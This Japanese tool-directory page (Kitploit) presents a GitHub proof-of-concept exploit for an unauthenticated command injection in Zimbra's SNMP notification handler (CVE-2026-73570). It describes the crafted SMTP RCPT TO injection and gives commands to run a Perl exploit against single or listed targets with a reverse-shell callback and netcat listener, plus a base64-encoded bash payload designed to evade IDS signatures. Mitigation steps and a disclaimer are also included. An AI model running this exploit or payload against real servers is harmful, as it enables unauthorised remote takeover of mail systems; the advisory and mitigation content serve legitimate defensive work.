Skip to content
KitploitKITPLOIT
ツールブログ
提出
ツールブログ
提出

ハッキング、侵入テスト、サイバーセキュリティツールをあなたのセキュリティアーセナルに!

Kitploitはハッキング、サイバーセキュリティ、ペネトレーションテストのツールディレクトリです。最新のプロジェクトアップデートを見つけて、脆弱性の発見、システム分析、テストの自動化、セキュリティの強化を行いましょう。

··フィード·お問い合わせ·プライバシー·© 2026 Kitploit

ツールディレクトリ

カテゴリ

すべてのカテゴリを見る
Loading categories
CVE-2026-73570 — Zimbra SNMP通知 OSコマンドインジェクション — SMTPエクスプロイトを介した未認証RCE(PoC) | Kitploit
ツール/GitHubGitHub/gabrielunknown/cve-2026-73570
脆弱性分析エクスプロイトウェブアプリケーション悪用ペネトレーションテストレッドチーミングリモートアクセスツール
GitHubgabrielunknown/cve-2026-73570

CVE-2026-73570

Zimbra SNMP通知 OSコマンドインジェクション — SMTPエクスプロイトを介した未認証RCE(PoC)

リポジトリを見る
11日前未レビュー

人気

すべて見る →

コミュニティで最も使われているツールを見つけましょう。

すべてのツールを探索

ツールコレクションを閲覧

すべてのツールを見る →
共有

CVE-2026-73570 — Zimbra ZCS SNMP通知RCEエクスプロイト(PoC)

Zimbra Collaboration SuiteのSNMP通知ハンドラにおけるOSコマンドインジェクションを介した、認証不要のリモートコード実行。


概要

フィールド値
CVECVE-2026-73570
CVSS 3.18.9 HIGH — AV:N/AC:H/PR:N/UI:N/S:C/C:H/I:H/A:L
CWECWE-78 — OSコマンドに使用される特殊要素の不適切な無害化
影響を受けるバージョンZimbra ZCS < 10.1.20(zimbra-snmpがインストールされている場合)
修正バージョンZCS 10.1.20 — 2026年7月
CISA KEV2026-08-21に追加(FCEB修復期限: 2026-08-24)
認証要件なし
実行ユーザーzimbra OSユーザー

根本原因

オプションのzimbra-snmpパッケージには、/var/log/zimbra.logを監視して以下のパターンに一致する行を探すswatchdogルールが同梱されています:

root@kitploit:~
Service status change: <NAME> changed from <STATE> to <STATE>

一致が見つかると、swatchdogはキャプチャした<NAME>フィールドを、サニタイズ処理なしでSNMP通知シェルスクリプトに直接渡します。

認証されていない攻撃者は、特別に細工されたSMTP RCPT TOコマンドを送信することで、細工されたログエントリを注入できます。RFC 5321の引用符付きローカルパートを使用することで、シェルのメタ文字(例: $(...))が<NAME>内に埋め込まれ、swatchdogが結果のログ行を処理する際に実行されます。


前提条件

この脆弱性を悪用するには、ターゲット上で以下の3つの条件がすべて満たされている必要があります:

  • zimbra-snmpパッケージがインストールされている
  • SNMP通知が有効になっている(snmp_notify = true)
  • swatchdogサービスが実行されている

攻撃フロー

root@kitploit:~
攻撃者                          Zimbra MTA
   │                                  │
   │── TCP接続 :25/:465/:587 ────►│
   │── EHLO mx-test.invalid ─────────►│
   │── MAIL FROM:<scanner@...> ──────►│
   │── RCPT TO:<"x: Service status    │
   │     change: localhost $(CMD)     │
   │     changed from stopped to      │
   │     running"@cve.invalid> ──────►│
   │                                  │── RCPT TOデータをログ記録 ──► /var/log/zimbra.log
   │                                  │                               │
   │                                  │                         swatchdogがパターンに
   │                                  │                         一致、$(CMD)を抽出、
   │                                  │                         実行
   │◄─────────── シェルコールバック ───────────────────────────────────────┘
  1. ポート25 / 465 / 587に接続します。
  2. 武器化したRCPT TOを含む標準的なSMTPセッションを送信します。
  3. Zimbraは、受け入れ/拒否に関係なくアドレスデータをログに記録します。
  4. swatchdogがログパターンに一致し、注入された$(CMD)を抽出します。
  5. SNMPハンドラが**zimbra** OSユーザーとしてCMDを実行します。

エクスプロイト

要件

root@kitploit:~
cpan IO::Socket::SSL MIME::Base64 Digest::HMAC_MD5

単一ターゲット

root@kitploit:~
perl zimbra-poc.pl -H mail.target.com -r <YOUR_IP> -R 4444

ターゲットリスト

root@kitploit:~
perl zimbra-poc.pl -f targets.txt -r <YOUR_IP> -R 4444

targets.txt — 1行に1ホスト、オプションで:port、#で始まる行は無視されます:

root@kitploit:~
mail.example.com
mail.example.com:25
10.0.0.50:587
# ignored comment

全オプション

フラグ長い形式デフォルト説明
-H--host—単一ターゲットのホスト名またはIP
-f--file—ターゲットリストを含むファイル
-p--port587デフォルトのSMTPポート
-r--rhost—リバースシェルコールバック用の自分のIP
-R--rport4444リスナーポート
-t--timeout15ソケットタイムアウト(秒)
-S--ssloff直接TLS(ポート465で自動有効化)
-v--verboseoff完全なSMTPダイアログを表示
-L--logfile—セッションログをファイルに書き込む
-h--help—ヘルプを表示

完全な例

root@kitploit:~
# ターミナル1 — リスナーを起動
nc -lvnp 4444

# ターミナル2 — エクスプロイトを実行
perl zimbra-poc.pl -H mail.target.com -r 10.10.10.1 -R 4444 -v

ペイロード手法

リバースシェルコマンドは、注入前にbase64エンコードされます:

root@kitploit:~
echo <b64>|base64 -d|bash

これにより、IDS/IPSが/dev/tcp、bash -i、nc -eなどの平文シグネチャを検出するのを防ぎます。エンコードされたブロブは、RCPT TOの引用符付きローカルパート内の$(...)として注入され、swatchdogがログエントリを処理する際にサーバー側で実行がトリガーされます。


緩和策

アクション詳細
パッチZimbra ZCS ≥ 10.1.20にアップグレード
SNMP通知を無効化zmprov mcf zimbraSnmpNotifyEnabled FALSE && zmconfigdctl restart
パッケージを削除apt remove zimbra-snmp / yum remove zimbra-snmp
ネットワーク制御運用上可能な場合、インバウンドSMTP(25/465/587)を信頼できるリレーに制限

参考情報

  • NVD — CVE-2026-73570
  • Zimbra Security Advisories
  • CISA Known Exploited Vulnerabilities — CVE-2026-73570
  • CERT.pl advisory
  • BiuTrap/CVE-2026-73570

免責事項

この概念実証は、認可されたセキュリティテスト、学術研究、および防御目的のみのために公開されています。
所有していないシステム、または明示的な書面によるテスト許可がないシステムに対して実行することは違法です。
著者は、このツールの誤用または損害について一切の責任を負いません。


ツールをダウンロード